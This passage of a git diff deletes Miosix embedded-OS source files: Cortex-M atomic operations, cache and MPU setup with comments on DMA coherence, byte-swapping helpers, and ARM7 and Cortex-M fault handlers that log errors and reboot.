enableInterrupts(); - asm volatile("":::"memory"); -} - -inline int atomicAddExchange(volatile int *p, int incr) -{ - disableInterrupts(); - int result = *p; - *p += incr; - enableInterrupts(); - asm volatile("":::"memory"); - return result; -} - -inline int atomicCompareAndSwap(volatile int *p, int prev, int next) -{ - disableInterrupts(); - int result = *p; - if(*p == prev) *p = next; - enableInterrupts(); - asm volatile("":::"memory"); - return result; -} - -inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, - int incr) -{ - disableInterrupts(); - void *result = *p; - if(result == 0) - { - enableInterrupts(); - return 0; - } - volatile uint32_t *pt = reinterpret_cast(result) + offset; - *pt += incr; - enableInterrupts(); - asm volatile("":::"memory"); - - return result; -} - -} //namespace miosix - -#endif //ATOMIC_OPS_IMPL_M0_H diff --git a/miosix/arch/common/core/atomic_ops_impl_cortexMx.h b/miosix/arch/common/core/atomic_ops_impl_cortexMx.h deleted file mode 100644 index 525829c1f..000000000 --- a/miosix/arch/common/core/atomic_ops_impl_cortexMx.h +++ /dev/null @@ -1,107 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef ATOMIC_OPS_IMPL_H -#define ATOMIC_OPS_IMPL_H - -#include "interfaces/arch_registers.h" - -namespace miosix { - -inline int atomicSwap(volatile int *p, int v) -{ - int result; - volatile uint32_t *ptr=reinterpret_cast(p); - do { - result=__LDREXW(ptr); - } while(__STREXW(v,ptr)); - asm volatile("":::"memory"); - return result; -} - -inline void atomicAdd(volatile int *p, int incr) -{ - int value; - volatile uint32_t *ptr=reinterpret_cast(p); - do { - value=__LDREXW(ptr); - } while(__STREXW(value+incr,ptr)); - asm volatile("":::"memory"); -} - -inline int atomicAddExchange(volatile int *p, int incr) -{ - int result; - volatile uint32_t *ptr=reinterpret_cast(p); - do { - result=__LDREXW(ptr); - } while(__STREXW(result+incr,ptr)); - asm volatile("":::"memory"); - return result; -} - -inline int atomicCompareAndSwap(volatile int *p, int prev, int next) -{ - int result; - volatile uint32_t *ptr=reinterpret_cast(p); - do { - result=__LDREXW(ptr); - if(result!=prev) - { - __CLREX(); - return result; - } - } while(__STREXW(next,ptr)); - asm volatile("":::"memory"); - return result; -} - -inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, - int incr) -{ - void *result; - volatile uint32_t *rcp; - int rc; - do { - for(;;) - { - result=*p; - if(result==0) return 0; - rcp=reinterpret_cast(result)+offset; - rc=__LDREXW(rcp); - asm volatile("":::"memory"); - if(result==*p) break; - __CLREX(); - } - } while(__STREXW(rc+incr,rcp)); - asm volatile("":::"memory"); - return result; -} - -} //namespace miosix - -#endif //ATOMIC_OPS_IMPL_H diff --git a/miosix/arch/common/core/cache_cortexMx.cpp b/miosix/arch/common/core/cache_cortexMx.cpp deleted file mode 100644 index 1330b2473..000000000 --- a/miosix/arch/common/core/cache_cortexMx.cpp +++ /dev/null @@ -1,101 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "cache_cortexMx.h" -#include "mpu_cortexMx.h" -#include - -using namespace std; - -namespace miosix { - -static const unsigned int cacheLine=32; //Cortex-M7 cache line size - -/** - * Using the MPU, configure a region of the memory space as - * - write-through cacheable - * - non-shareable - * - readable/writable/executable only by privileged code (for compatibility - * with the way processes use the MPU) - * \param region MPU region. Note that region 6 and 7 are used by processes, and - * should be avoided here - * \param base base address, aligned to a 32Byte cache line - * \param size size, must be at least 32 and a power of 2, or it is rounded to - * the next power of 2 - */ -static void IRQconfigureCacheability(unsigned int region, unsigned int base, - unsigned int size) -{ - // NOTE: The ARM documentation is unclear about the effect of the shareable - // bit on a single core architecture. Experimental evidence on an STM32F476 - // shows that setting it in IRQconfigureCache for the internal RAM region - // causes the boot to fail. - // For this reason, all regions are marked as not shareable - MPU->RBAR=(base & (~(cacheLine-1))) | MPU_RBAR_VALID_Msk | region; - MPU->RASR=1<(xramBase),xramSize); - IRQenableMPUatBoot(); - - SCB_EnableICache(); - SCB_EnableDCache(); -} - -#if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) -/** - * Align a generic buffer to another one that contains the first one, but the - * start size is aligned to a cache line - */ -static pair alignBuffer(void *buffer, int size) -{ - auto bufferAddr=reinterpret_cast(buffer); - - auto base=bufferAddr & (~(cacheLine-1)); - size+=bufferAddr-base; - - return make_pair(reinterpret_cast(base),size); -} - -void markBufferAfterDmaRead(void *buffer, int size) -{ - //Since the current cache policy is write-through, we just invalidate the - //cache lines corresponding to the buffer. No need to flush (clean) the cache. - auto result=alignBuffer(buffer,size); - SCB_InvalidateDCache_by_Addr(result.first,result.second); -} -#endif - -} //namespace miosix diff --git a/miosix/arch/common/core/cache_cortexMx.h b/miosix/arch/common/core/cache_cortexMx.h deleted file mode 100644 index 2c0e6667b..000000000 --- a/miosix/arch/common/core/cache_cortexMx.h +++ /dev/null @@ -1,153 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef CACHE_CORTEX_MX_H -#define CACHE_CORTEX_MX_H - -/* - * README: Essentials about how cache support is implemented. - * - * Caches in the Cortex M7 are transparent to software, except when using - * the DMA. As the DMA reads and writes directly to memory, explicit management - * is required. The default cache policy is write-back, but this has been deemed - * unsuitable for Miosix, so for the time being only write-through is supported. - * - * The IRQconfigureCache() configures the cache as write-through and enables it. - * It should be called early at boot, in stage_1_boot.cpp - * - * When writing DMA drivers, before passing a buffer to the DMA for it to be - * written to a peripheral, call markBufferBeforeDmaWrite(). - * After a DMA read from a peripheral to a memory buffer has completed, - * call markBufferAfterDmaRead(). These take care of keeping the DMA operations - * in sync with the cache. These become no-ops for other architectures, so you - * can freely put the in any driver. - */ - -/* - * Some more info about caches. Why not supporting write-back? - * When writing data from memory to a peripheral using DMA, things are easy - * also with write-back. You just flush (clean) the relevant cache lines, and - * the DMA has access to the correct values. So it looks like it's ok. - * When instead the DMA has to write to a memory location things become - * complicated. Assume that a buffer not aligned to a cache line is passed to - * a DMA read routine. After that a context switch happens and another thread - * writes to a memory location that is on the same cache line as the (beginning - * or end of) the buffer passed to the DMA. At the same time the DMA is writing - * to the buffer. - * At the end the situation looks like this, where the thread has written to - * location X in the cache, while the DMA has written Y to the buffer. - * <-- outside buffer --x-- buffer --> - * +----------------------------------+ - * | X | | cache - * +----------------------------------+ - * | |YYYYYYYYYYYYY| memory - * +----------------------------------+ - * What are you suppose to do? If you flush (clean) the cache line, X will be - * committed to memory, but the Y data written by the DMA will be lost. If you - * invalidate the cache, Y is preserved, but X is lost. - * If you're just thinking that the problem can be solved by making sure buffers - * are aligned to the cache line (and their size is a multiple of the cache - * line), well, there's a problem. - * Miosix is a real-time OS, and for performance and safety, most drivers are - * zero copy. Applications routinely pass to DMA drivers such as the SDIO large - * buffers (think 100+KB). Of course allocating an aligned buffer inside the - * DMA driver as large as the user-passed buffer and copying the data there - * isn't just slow, it wouldn't be safe, as you risk to exceed the free heap - * memory or fragment the heap. Allocating a small buffer and splitting the - * large DMA transfer in many small ones where the user passed buffer is copyied - * one chunk at a time would be feasible, but even slower, and even more so - * considering that some peripherals such as SD cards are optimized for large - * sequential writes, not for small chunks. - * But what if we make sure all buffers passed to DMA drivers are aligned? - * That is a joke, as it the burden of doing so is unmaintainable. Buffers - * passed to DMA memory are everywhere, in the C/C++ standard library - * (think the buffer used for IO formatting inside printf/fprintf), and - * everywherein application code. Something like - * char s[128]="Hello world"; - * puts(s); - * may cause s to be passed to a DMA driver. We would spend our lives chasing - * unaligned buffers, and the risk of this causing difficult to reproduce memory - * corruptions is too high. For this reason, for the time being, Miosix only - * supports write-through caching on the Cortex-M7. - * - * A note about performance. Using the testsuite benchmark, when caches are - * disabled the STM32F746 @ 216MHz is less than half the speed of the - * STM32F407 @ 168MHz. By enabling the ICACHE things get better, but it is - * still slower, and achieves a speedup of 1.53 only when both ICACHE and - * DCACHE are enabled. The speedup also includes the gains due to the faster - * clock frequency. So if you want speed you have to use caches. - */ - -#include "interfaces/arch_registers.h" - -namespace miosix { - -/** - * To be called in stage_1_boot.cpp to configure caches. - * Only call this function if the board has caches. - * \param xramBase base address of external memory, if present, otherwise nullptr - * \param xramSize size of external memory, if present, otherwise 0 - */ -void IRQconfigureCache(const unsigned int *xramBase=nullptr, unsigned int xramSize=0); - -/** - * Call this function to mark a buffer before starting a DMA transfer where - * the DMA will read the buffer. - * \param buffer buffer - * \param size buffer size - */ -inline void markBufferBeforeDmaWrite(const void *buffer, int size) -{ -#if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) - // You may think that since the cache is configured as write-through, - // there's nothing to do before the DMA can read a memory buffer just - // written by the CPU, right? Wrong! Other than the cache, there's the - // write buffer to worry about. My hypothesis is that once a memory region - // is marked as cacheable, the write buffer becomes more lax in - // automatically flushing as soon as possible. In the stm32 serial port - // driver writing just a few characters causes garbage to be printed if - // this __DSB() is removed. Apparently, the characters remian in the write - // buffer. - __DSB(); -#endif -} - -/** - * Call this function after having completed a DMA transfer where the DMA has - * written to the buffer. - * \param buffer buffer - * \param size buffer size - */ -#if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) -void markBufferAfterDmaRead(void *buffer, int size); -#else -inline void markBufferAfterDmaRead(void *buffer, int size) {} -#endif - -} //namespace miosix - -#endif //CACHE_CORTEX_MX_H diff --git a/miosix/arch/common/core/endianness_impl_arm7.h b/miosix/arch/common/core/endianness_impl_arm7.h deleted file mode 100644 index 0c96ef21f..000000000 --- a/miosix/arch/common/core/endianness_impl_arm7.h +++ /dev/null @@ -1,78 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef ENDIANNESS_IMPL_H -#define ENDIANNESS_IMPL_H - -#ifndef MIOSIX_BIG_ENDIAN -//This target is little endian -#define MIOSIX_LITTLE_ENDIAN -#endif //MIOSIX_BIG_ENDIAN - -#ifdef __cplusplus -#define __MIOSIX_INLINE inline -#else //__cplusplus -#define __MIOSIX_INLINE static inline -#endif //__cplusplus - - -__MIOSIX_INLINE unsigned short swapBytes16(unsigned short x) -{ - return (x>>8) | (x<<8); -} - -__MIOSIX_INLINE unsigned int swapBytes32(unsigned int x) -{ - #ifdef __GNUC__ - return __builtin_bswap32(x); - #else //__GNUC__ - return ( x>>24) | - ((x<< 8) & 0x00ff0000) | - ((x>> 8) & 0x0000ff00) | - ( x<<24); - #endif //__GNUC__ -} - -__MIOSIX_INLINE unsigned long long swapBytes64(unsigned long long x) -{ - #ifdef __GNUC__ - return __builtin_bswap64(x); - #else //__GNUC__ - return ( x>>56) | - ((x<<40) & 0x00ff000000000000ull) | - ((x<<24) & 0x0000ff0000000000ull) | - ((x<< 8) & 0x000000ff00000000ull) | - ((x>> 8) & 0x00000000ff000000ull) | - ((x>>24) & 0x0000000000ff0000ull) | - ((x>>40) & 0x000000000000ff00ull) | - ( x<<56); - #endif //__GNUC__ -} - -#undef __MIOSIX_INLINE - -#endif //ENDIANNESS_IMPL_H diff --git a/miosix/arch/common/core/endianness_impl_cortexMx.h b/miosix/arch/common/core/endianness_impl_cortexMx.h deleted file mode 100644 index 6a656ea95..000000000 --- a/miosix/arch/common/core/endianness_impl_cortexMx.h +++ /dev/null @@ -1,94 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011, 2012, 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef ENDIANNESS_IMPL_H -#define ENDIANNESS_IMPL_H - -#ifndef MIOSIX_BIG_ENDIAN -//This target is little endian -#define MIOSIX_LITTLE_ENDIAN -#endif //MIOSIX_BIG_ENDIAN - -#ifdef __cplusplus -#define __MIOSIX_INLINE inline -#else //__cplusplus -#define __MIOSIX_INLINE static inline -#endif //__cplusplus - -__MIOSIX_INLINE unsigned short swapBytes16(unsigned short x) -{ - //It's kind of a shame that GCC can't automatically make use of - //instructions like rev and rev16 to do byte swapping. - //Moreover, while for 32 and 64 bit integers it has builtins, for 16 bit - //we're forced to use inline asm. - #ifdef __GNUC__ - if(!__builtin_constant_p(x)) - { - unsigned short y; - asm("rev16 %0, %1":"=r"(y):"r"(x)); - return y; - } else { - //It gets worse: if value is constant inlining assembler disables - //contant folding, wtf... - return (x>>8) | (x<<8); - } - #else - return (x>>8) | (x<<8); - #endif -} - -__MIOSIX_INLINE unsigned int swapBytes32(unsigned int x) -{ - #ifdef __GNUC__ - return __builtin_bswap32(x); - #else - return ( x>>24) | - ((x<< 8) & 0x00ff0000) | - ((x>> 8) & 0x0000ff00) | - ( x<<24); - #endif -} - -__MIOSIX_INLINE unsigned long long swapBytes64(unsigned long long x) -{ - #ifdef __GNUC__ - return __builtin_bswap64(x); - #else - return ( x>>56) | - ((x<<40) & 0x00ff000000000000ull) | - ((x<<24) & 0x0000ff0000000000ull) | - ((x<< 8) & 0x000000ff00000000ull) | - ((x>> 8) & 0x00000000ff000000ull) | - ((x>>24) & 0x0000000000ff0000ull) | - ((x>>40) & 0x000000000000ff00ull) | - ( x<<56); - #endif -} - -#undef __MIOSIX_INLINE - -#endif //ENDIANNESS_IMPL_H diff --git a/miosix/arch/common/core/interrupts.h b/miosix/arch/common/core/interrupts.h deleted file mode 100644 index 19a0636ed..000000000 --- a/miosix/arch/common/core/interrupts.h +++ /dev/null @@ -1,16 +0,0 @@ - -//Interrupt code is common for all the cortex M cores, so it has been put here - -#ifdef _ARCH_ARM7_LPC2000 -#include "interrupts_arm7.h" -#elif defined(_ARCH_CORTEXM0_STM32F0) || defined(_ARCH_CORTEXM3_STM32F1) \ - || defined(_ARCH_CORTEXM4_STM32F4) || defined(_ARCH_CORTEXM3_STM32F2) \ - || defined(_ARCH_CORTEXM3_STM32L1) || defined(_ARCH_CORTEXM7_STM32F7) \ - || defined(_ARCH_CORTEXM7_STM32H7) || defined(_ARCH_CORTEXM3_EFM32GG) \ - || defined(_ARCH_CORTEXM4_STM32F3) || defined(_ARCH_CORTEXM4_STM32L4) \ - || defined(_ARCH_CORTEXM4_ATSAM4L) || defined(_ARCH_CORTEXM3_EFM32G) \ - || defined(_ARCH_CORTEXM0PLUS_STM32L0) || defined(_ARCH_CORTEXM0PLUS_RP2040) -#include "interrupts_cortexMx.h" -#else -#error "Unknown arch" -#endif diff --git a/miosix/arch/common/core/interrupts_arm7.cpp b/miosix/arch/common/core/interrupts_arm7.cpp deleted file mode 100644 index 44b8fae98..000000000 --- a/miosix/arch/common/core/interrupts_arm7.cpp +++ /dev/null @@ -1,154 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "kernel/logging.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include "interrupts.h" - -using namespace miosix; - -//Look up table used by printUnsignedInt() -static const char hexdigits[]="0123456789abcdef"; - -/** - * \internal - * Used to print an unsigned int in hexadecimal format, and to reboot the system - * Note that printf/iprintf cannot be used inside an IRQ, so that's why there's - * this function. - * \param x number to print - */ -static void printUnsignedInt(unsigned int x) -{ - char result[]="0x........\r\n"; - for(int i=9;i>=2;i--) - { - result[i]=hexdigits[x & 0xf]; - x>>=4; - } - IRQerrorLog(result); -} - -/** - * \internal - * Spurious interrupt handler. - * The LPC2138 datasheet says that spurious interrups can occur, but until now - * it never happened. If and when spurious interruts will occur, this code will - * be modified to deal with them. Until then, this code just reboots the system. - */ -void default_IRQ_Routine() -{ - IRQerrorLog("\r\n***Unexpected IRQ\r\n"); - miosix_private::IRQsystemReboot(); -} - -/** - * \internal - * FIQ is currently not used. - * Prints an error message, and reboots the system. - * Stack usage is 24 Bytes (measured with watermarking and stack dump) - * so a 32 byte stack is used (to leave some guard space). - * If the user wants to use FIQ, it is important to remember to increase the - * FIQ's stack size, which is defined in miosix.ld - */ -extern "C" void FIQ_Routine() -{ - IRQerrorLog("\r\n***Unexpected FIQ\r\n"); - miosix_private::IRQsystemReboot(); -} - -/** - * \internal - * This ISR handles Undefined instruction. - * Prints an error message, showing an address near the instruction that caused - * the exception. This address together with the map file allows finding the - * function that caused the exception. - * Please note that when compiling with some level of optimization, the compiler - * can inline functions so the address is no longer accurate. - * Stack usage is 47 Bytes (measured with watermarking and stack dump) - * so a 48 byte stack is used (stak must be word-aligned). - */ -extern "C" void UNDEF_Routine() -{ - //These two instructions MUST be the first two instructions of the interrupt - //routine. They store in return_address the pc of the instruction that - //caused the interrupt. - register int returnAddress; - asm volatile("mov %0, lr" : "=r"(returnAddress)); - - IRQerrorLog("\r\n***Unexpected UNDEF @ "); - printUnsignedInt(returnAddress); - miosix_private::IRQsystemReboot(); -} - -/** - * \internal - * This ISR handles data abort. - * Prints an error message, showing an address near the instruction that caused - * the exception. This address together with the map file allows finding the - * function that caused the exception. - * Please note that when compiling with some level of optimization, the compiler - * can inline functions so the address is no longer accurate. - * Stack usage is 47 Bytes (measured with watermarking and stack dump) - * so a 48 byte stack is used (stak must be word-aligned). - */ -extern "C" void DABT_Routine() -{ - //These two instructions MUST be the first two instructions of the interrupt - //routine. They store in return_address the pc of the instruction that - //caused the interrupt. (lr has an offset of 8 during a data abort) - register int returnAddress; - asm volatile("sub %0, lr, #8" : "=r"(returnAddress)); - - IRQerrorLog("\r\n***Unexpected data abort @ "); - printUnsignedInt(returnAddress); - miosix_private::IRQsystemReboot(); -} - -/** - * \internal - * This ISR handles prefetch abort. - * Prints an error message, showing an address near the instruction that caused - * the exception. This address together with the map file allows finding the - * function that caused the exception. - * Please note that when compiling with some level of optimization, the compiler - * can inline functions so the address is no longer accurate. - * Stack usage is 47 Bytes (measured with watermarking and stack dump) - * so a 48 byte stack is used (stak must be word-aligned). - */ -extern "C" void PABT_Routine() -{ - //These two instructions MUST be the first two instructions of the interrupt - //routine. They store in return_address the pc of the instruction that - //caused the interrupt. (lr has an offset of 4 during a data abort) - register int returnAddress; - asm volatile("sub %0, lr, #4" : "=r"(returnAddress)); - - IRQerrorLog("\r\n***Unexpected prefetch abort @ "); - printUnsignedInt(returnAddress); - miosix_private::IRQsystemReboot(); -} diff --git a/miosix/arch/common/core/interrupts_arm7.h b/miosix/arch/common/core/interrupts_arm7.h deleted file mode 100644 index 743731b76..000000000 --- a/miosix/arch/common/core/interrupts_arm7.h +++ /dev/null @@ -1,43 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* interrupts.h Part of the Miosix Embedded OS. -* Implementation of "Generic" interrupts, not related to a particular -* hardware driver. -************************************************************************/ - -#ifndef INTERRUPTS_H -#define INTERRUPTS_H - -void default_IRQ_Routine() __attribute__ ((interrupt("IRQ"))); -extern "C" void FIQ_Routine() __attribute__ ((interrupt("FIQ"))); -extern "C" void UNDEF_Routine() __attribute__ ((interrupt("UNDEF"))); -extern "C" void DABT_Routine() __attribute__ ((interrupt("DABT"))); -extern "C" void PABT_Routine() __attribute__ ((interrupt("PABT"))); - -#endif //INTERRUPTS_H diff --git a/miosix/arch/common/core/interrupts_cortexMx.cpp b/miosix/arch/common/core/interrupts_cortexMx.cpp deleted file mode 100644 index 1772d1a3b..000000000 --- a/miosix/arch/common/core/interrupts_cortexMx.cpp +++ /dev/null @@ -1,282 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "kernel/logging.h" -#include "kernel/kernel.h" -#include "config/miosix_settings.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "interrupts.h" - -using namespace miosix; - -#ifdef WITH_ERRLOG - -/** - * \internal - * Used to print an unsigned int in hexadecimal format, and to reboot the system - * Note that printf/iprintf cannot be used inside an IRQ, so that's why there's - * this function. - * \param x number to print - */ -static void printUnsignedInt(unsigned int x) -{ - static const char hexdigits[]="0123456789abcdef"; - char result[]="0x........\r\n"; - for(int i=9;i>=2;i--) - { - result[i]=hexdigits[x & 0xf]; - x>>=4; - } - IRQerrorLog(result); -} - -#endif //WITH_ERRLOG - -#if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) - -/** - * \internal - * \return the program counter of the thread that was running when the exception - * occurred. - */ -static unsigned int getProgramCounter() -{ - register unsigned int result; - // Get program counter when the exception was thrown from stack frame - asm volatile("mrs %0, psp \n\t" - "add %0, %0, #24 \n\t" - "ldr %0, [%0] \n\t":"=r"(result)); - return result; -} - -#endif //WITH_PROCESSES || WITH_ERRLOG - -void NMI_Handler() -{ - IRQerrorLog("\r\n***Unexpected NMI\r\n"); - miosix_private::IRQsystemReboot(); -} - -void __attribute__((naked)) HardFault_Handler() -{ - saveContext(); - //Call HardFault_impl(). Name is a C++ mangled name. - asm volatile("bl _Z14HardFault_implv"); - restoreContext(); -} - -void __attribute__((noinline)) HardFault_impl() -{ - #ifdef WITH_PROCESSES - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::HARDFAULT,getProgramCounter()))) return; - #endif //WITH_PROCESSES - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected HardFault @ "); - printUnsignedInt(getProgramCounter()); - #if !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM0_STM32G0) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) && !defined(_ARCH_CORTEXM0PLUS_RP2040) - unsigned int hfsr=SCB->HFSR; - if(hfsr & 0x40000000) //SCB_HFSR_FORCED - IRQerrorLog("Fault escalation occurred\r\n"); - if(hfsr & 0x00000002) //SCB_HFSR_VECTTBL - IRQerrorLog("A BusFault occurred during a vector table read\r\n"); - #endif // !_ARCH_CORTEXM0_STM32F0 && !_ARCH_CORTEXM0_STM32G0 && !_ARCH_CORTEXM0PLUS_STM32L0 - #endif //WITH_ERRLOG - miosix_private::IRQsystemReboot(); -} - -// Cortex M0/M0+ architecture does not have the interrupts handled by code -// below this point -#if !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM0_STM32G0) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) && !defined(_ARCH_CORTEXM0PLUS_RP2040) - -void __attribute__((naked)) MemManage_Handler() -{ - saveContext(); - //Call MemManage_impl(). Name is a C++ mangled name. - asm volatile("bl _Z14MemManage_implv"); - restoreContext(); -} - -void __attribute__((noinline)) MemManage_impl() -{ - #if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) - unsigned int cfsr=SCB->CFSR; - #endif //WITH_PROCESSES || WITH_ERRLOG - #ifdef WITH_PROCESSES - int id, arg=0; - if(cfsr & 0x00000001) id=fault::MP_XN; - else if(cfsr & 0x00000080) { id=fault::MP; arg=SCB->MMFAR; } - else id=fault::MP_NOADDR; - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - id,getProgramCounter(),arg))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - #endif //WITH_PROCESSES - #ifdef WITH_ERRLOG - IRQerrorLog("\r\n***Unexpected MemManage @ "); - printUnsignedInt(getProgramCounter()); - if(cfsr & 0x00000080) //SCB_CFSR_MMARVALID - { - IRQerrorLog("Fault caused by attempted access to "); - printUnsignedInt(SCB->MMFAR); - } else IRQerrorLog("The address that caused the fault is missing\r\n"); - if(cfsr & 0x00000010) //SCB_CFSR_MSTKERR - IRQerrorLog("Fault occurred during exception stacking\r\n"); - if(cfsr & 0x00000008) //SCB_CFSR_MUNSTKERR - IRQerrorLog("Fault occurred during exception unstacking\r\n"); - if(cfsr & 0x00000002) //SCB_CFSR_DACCVIOL - IRQerrorLog("Fault was caused by invalid PC\r\n"); - if(cfsr & 